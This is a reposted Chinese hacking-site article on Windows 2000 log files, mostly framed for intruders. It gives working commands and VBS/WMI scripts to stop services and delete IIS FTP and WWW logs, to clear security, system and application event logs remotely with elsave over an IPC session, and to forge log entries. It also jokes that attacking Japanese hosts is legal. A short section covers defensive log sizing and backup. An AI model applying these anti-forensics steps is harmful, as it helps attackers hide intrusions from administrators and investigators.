详解入侵日志清除方法 2008-07-28 13:51:51  www.hackbase  来源:互联网
FTP日志→FTP日志和WWW默认日志为每天生成一个日志文件,包含了每天的一切记录,文件名通常为ex(年份)(月份)(日期),例如ex051218,就是2005年12月18日记录的日志,选用记事本打开方式就可直接打开,如下 ...
FTP日志→FTP日志和WWW默认日志为每天生成一个日志文件,包含了每天的一切记录,文件名通常为ex(年份)(月份)(日期),
例如ex051218,就是2005年12月18日记录的日志,选用记事本打开方式就可直接打开,如下例:
#Software: Microsoft Internet Information Services 5.0(微软IIS5.0)
#Version: 1.0 (版本1.0)    #Date: 20051218 0516 (服务启动时间日期)
#Fields: time cip csmethod csuristem scstatus
0315 192.168.1.30 [1]user administator 331 (IP地址为192.168.1.30用户名为administator试图登录)
0318 192.168.1.30 [1]pass – 123 (登录失败)
032:04 192.168.1.30 [1]user new 321 (IP地址为192.168.1.30用户名为new的用户试图登录)
032:06 192.168.1.30 [1]pass – 123 (登录失败)
032:09 192.168.1.30 [1]user hack 321 (IP地址为192.168.1.30用户名为hack的用户试图登录)
0322 192.168.1.30 [1]pass – 123 (登录失败)
0322 192.168.1.30 [1]user administrators 234 (IP地址为192.168.1.30用户名为administrators试图登录)
0324 192.168.1.30 [1]pass – 234 (登录成功)
0321 192.168.1.30 [1]mkd new 345 (新建目录失败)
0325 192.168.1.30 [1]qutt – 123 (退出FTP程序)
从上面日志记录里能看出来IP地址为192.168.1.30的用户一直试图登录系统,换了4次用户名和密码才成功,
可以得知入侵时间、IP地址以及探测的用户名,如上例入侵者最终是用administrators用
户名进入的,那么就要考虑更换此用户名的密码,或者重命名administrators用户。
WWW日志→WWW服务同FTP服务一样,产生的日志也是在%systemroot%\System32\LogFiles\W3SVC1目录下,
默认日志为每天生成一个日志文件,下面是一个典型的WWW日志文件:
#Software: Microsoft Internet Information Services 5.0       
#Version: 1.0
#Date: 20051120 02:081
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20051120 02:081 192.168.1.29 192.168.1.39 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20051120 02:085 192.168.1.29 192.168.1.39 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通过分析第六行,可以看出2000年10月23日,IP地址为192.168.1.29的用户通过访问IP地址
为192.168.1.39机器的80端口,查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt,有
经验的管理员就可通过安全日志、FTP日志和WWW
日志来确定入侵者的IP地址以及入侵时间。
既使你删掉FTP和WWW日志,但是还是会在系统日志和安全日志里记录下来,但是较好的是只显示了你的
机器名,并没有你的IP
学会怎样删除这些日志→通过上面知道了日志的详细情况,得知日志文件通常有某项服务在后台保护,
除了系统日志、安全日志、应用程序日志等等,它们的服务是Windos的关键进程,而且与注册表文件在一块,
当操作系统(Windows2000)启动后,启动服务来保
护这些文件,所以很难删除,而FTP日志和WWW日志以及Scedlgu日志都是可以轻易地删除的。
首先要取得Admnistrator密码或Administrators组成员之一,然后Telnet到远程主机,先来试着删除FTP
日志:
D:\SERVER>
D:\SERVER\SchedLgU.Txt
进程无法访问文件,因为另一个程序正在使用此文件。
说过了,后台有服务保护,先把服务停掉!
D:\SERVER>net stop "task scheduler"
下面的服务依赖于 Task Scheduler 服务。
停止 Task Scheduler 服务也会停止这些服务。
Remote Storage Engine
是否继续此操作? (Y/N) [N]: y
Remote Storage Engine 服务正在停止....
Remote Storage Engine 服务已成功停止。
Task Scheduler 服务正在停止.
Task Scheduler 服务已成功停止。
OK,它的服务停掉了,同时也停掉了与它有依赖关系的服务。再来试着删一下!
D:\SERVER>
D:\SERVER>
没有反应?成功了!下一个是FTP日志和WWW日志,原理都是一样,先停掉相关服务,然后再删日志!
D:\SERVER\system32\LogFiles\MSFTPSVC1>del ex*.log
D:\SERVER\system32\LogFiles\MSFTPSVC1>
以上操作成功删除FTP日志!再来WWW日志!
D:\SERVER\system32\LogFiles\W3SVC1>del ex*.log
D:\SERVER\system32\LogFiles\W3SVC1>
OK!恭喜,现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了,守护这些日志的服
务是Event Log,试着停掉它!
D:\SERVER\system32\LogFiles\W3SVC1>net stop eventlog
这项服务无法接受请求的 "暂停" 或 "停止" 操作。
KAO,I 服了 U,没办法,它是关键服务。如果不用第三方工具,在命令行上根本没有删除安全日志和系
统日志的可能!所以还是得用虽然简单但是速度慢得死机的办法:打开“控制面板”的“管理工具”中的
“事件查看器”(98没有,知道用Win2k的好处了吧),在菜单的“操作”项有一个名为“连接到另一台
计算机”的菜单,输入远程计算机的IP,请耐心等一会,选择远程计算机的安全性日志,右键选择它的属性:
点击属性里的“清除日志”按钮,OK了!安全日志清除完毕!
目前在不借助第三工具的情况下,能很快,很顺利地清除FTP、WWW还有Schedlgu日志,就是系统日志和
安全日
志属于Windows2000的严密守护,只能用本地的事件查看器来打开它,因为在图形界面下,加之网
速又慢,如果你银子多,时间闲,还是可以清除它的。综上所述,介绍了Windows2000的日志文件以及删
除方法,但是你必须是Administrator,注意必须作为管理员或管理组的成员登录才能打开安全日志记
录。该过程适用于 Windows 2000 Professional 计算机,也适用于作为独立服务器或成员服务器运行的
Windows 2000 Server 计算机。
至此,Windows2000安全知识基础讲座完毕,还有几句话要讲,大家也看出来了,虽然FTP等等日志可以很
快清除,但是系统日志和安全日志却不是那么快、那么顺利地能删除,如果遇到聪明的管理员,将日志文
件转移到另一个地方,想清除可是难上加难啊!!!所以奉劝大家,千万不要拿国人的主机做试验
(小日本的不犯法~~~哈哈~~)
  全是很全,不过大家都忽略了一个问题!
如果一个服务器下管理有多个HTTP或FTP站点的话,日志的,命名方法就不一样了!会出
现W3SVC1,2,3....而这其中,又有一个是默认的远程网络管理日志(默认端口6959,如果开着这
个……呵呵,很大的一个漏洞!当然要有administrator权限……),所以要想判断一台服务器的具
体日志情况,我个人建议……要抹就抹个干净……只要是在logfile下的文件夹,全部删掉!~~~
win2k的日志文件详述及删除方法
Windows2000的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日
志等等,可能会根据服务器所开启的服务不同。当我们用流光探测时,比如说IPC探测,就会在安全日志
里迅速地记下流光探测时所用的用户名、时间等等,用FTP探测后,也会立刻在FTP日志中记下IP、时间、
探测所用的用户名和密码等等。甚至连流影启动时需要msvcp60.dll这个动库链接库,如果服务器没有这
个文件都会在日志里记录下来,这就是为什么不要拿国内主机探测的原因了,他们记下你的IP后会很容易
地到你,只要他想你!!还有Scheduler日志这也是个重要的LOG,你应该知道经常使用的就
是通过这个服务来启动的,其记录着所有由Scheduler服务启动的所有行为,如服务的启动和停止。
日志文件默认位置:
应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\
config,默认文件大
小512KB,管理员都会改变这个默认大小。安全日志文件:%systemroot%\system32\config
\SecEvent.EVT
系统日志文件:%systemroot%\system32\config\SysEvent.EVT
应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
Internet信息服务FTP日志默认位置:%systemroot%\system32\logfiles\
msftpsvc1\,默认每天一个日志
Internet信息服务WWW日志默认位置:%systemroot%\system32\logfiles\
w3svc1\,默认每天一个日志
Scheduler服务日志默认位置:%systemroot%\
以上日志在注册表里的键:
应用程序日志,安全日志,系统日志,DNS服务器日志,它们这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
windows日志的保护与伪造
日志对于系统安全的作用是显而易见的,无论是网络管理员还是黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在入侵成功后迅速清除掉对自己不利的日志。下面我们就来讨论一下日志的安全和创建问题。
一:概述:Windows2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,
应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB。
安全日志文件:%systemroot%\system32\config\SecEvent.EVT
系统日志文件:%systemroot%\system32\config\SysEvent.EVT
应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。
二:作为网络管理员:
1。日志的安全配置:
默认的条件下,日志的大小为512KB大小,如果超出则会报错,并且不会再记录任何日志。所以首要任
务是更改默认大小,具体方法:注册表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog对应的每个日志如系统,安全,应用程序等均有一个maxsize子键,修改即可。
下面给出一个来自微软站点的一个脚本,利用VMI来设定日志最大25MB,并允许日志自行覆盖14天前的日志:
该脚本利用的是WMI对象, WMI(Windows Management Instrumentation)技术是微软提供的Windows下的系统管理工具。通过该工具可以在本地或者管理客户端系统中几乎一切的信息。很多专业的网络管理工具都是基于WMI开发的。该工具在Win2000以及WinNT下是标准工具,在Win9X下是扩展安装选项。所以以下的代码在2000以上均可运行成功。
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" & _
strComputer & "\root\cimv2")              '获得VMI对象
Set colLogFiles = objWMIService.ExecQuery _ 
("Select * from Win32_NTEventLogFile")
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name='" & strLogFileName & "'")
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next
将上述脚本用记事本存盘为vbs为后缀的即可使用。
另外需要说明的是代码中的strComputer="."在windows脚本中的含义相当于localhost,如果要在远程主机上执行代码,只需要把"."改动为主机名,当然首先得拥有对方主机的管理员权限并建立IPC连接.本文中的代码所出现的strComputer均可作如此改动.
2。日志的查询与备份:
一个优秀的管理员是应该养成备份日志的习惯,如果有条件的话还应该把日志转存到备份机器上或直接转储到打印机上,笔者还有一篇文章《利用脚本编程格式化输出系统日志》,详细的讲述了利用windows脚本把日志转储并输出成html页已便于查询,有兴趣的可以查看,在这里推荐微软的resourceKit工具箱中的,他的常用方法:
dumpel -f filename -s \\server -l log
-f filename 输出日志的位置和文件名
-s \\server 输出远程计算机日志
-l log  log 可选的为system,security,application,可能还有别的如DNS等
如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:
dumpel \\server -l system -f backupsystem.log
再利用计划任务可以实现定期备份系统日志。
另外利用脚本编程的VMI对象也可以轻而易举的实现日志备份:
下面给出备份application日志的代码:
backuplog.vbs
vbs脚本怎么停止
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")                '获得 VMI对象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='Application'")  '获取日志对象中的应用程序日志
For Each objLogfile in colLogFiles
errBackupLog = objLogFile.BackupEventLog("f:\application.evt")  '将日志备份为f:\application.evt
If errBackupLog <> 0 Then       
Wscript.Echo "The Application event log could not be backed up."
else Wscript.Echo "success backup log"
End If
Next
程序说明:如果备份成功将窗口提示:"success backup log" 否则提示:"The Application event log could not be backed up",此处备份的日志为application 备份位置为f:\application.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,这一点他不如dumpel用得方便。
三:作为黑客
1。日至清除
一个入侵系统成功后的黑客第一件事便是清
除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在m命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,下面介绍几种方法:
1.借助第三方工具:如小榕的远程清除system,applicaton,security的软件,使用方法很简单,首先利用获得的管理员账号与对方建立ipc会话,net use \\ip pass /user: user
然后命令行下:elsave -s \\ip -l application -C,这样就删除了安全日志。
其实利用这个软件还可以进行备份日志,只要加一个参数 -f filename就可以了,在此不再详述。
2.利用脚本编程中的VMI,也可以实现删除日志,首先获得object对象,然后利用其clearEventLog() 方法删除日志。源代码:
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles 
objLogFile.ClearEventLog()   
Next
next
在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加入数组。
然后用一个for 循环,删除数组中的每一个元素,即各个日志.
2。创建日志:
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何
伪造日志:
1。利用脚本编程中的eventlog方法是创造日志变得非常简单;下面看一个代码
createlog.vbs
set ateobject("Wscript.shell")
ws.logevent 0 ,"write log success"    '创建一个成功执行日志
这个代码很容易阅读,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法
logevent的用法:logevent eventtype,"description" [,remote system]
eventtype 为日志类型,可以使用的如下:0 代表成功执行,1 执行出错 ,2 警告 , 4,信息 ,8 成功审计 16 故障审计
所以上面代码中,把0改为1,2,4,8,16均可,引号下的为日志描述。
这种方法写的日志有一个缺点,只能写到应用程序日志,而且日至来源只能为wsh,即windows scripting host,所以不能起太多的隐蔽作用。
2,微软为了方便系统管理员和程序员,在xp下有个新的命令行工具,,利用它,创建日志更加简单。
eventcreate -s server -l logname  -u username -p password -so source -t eventt

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。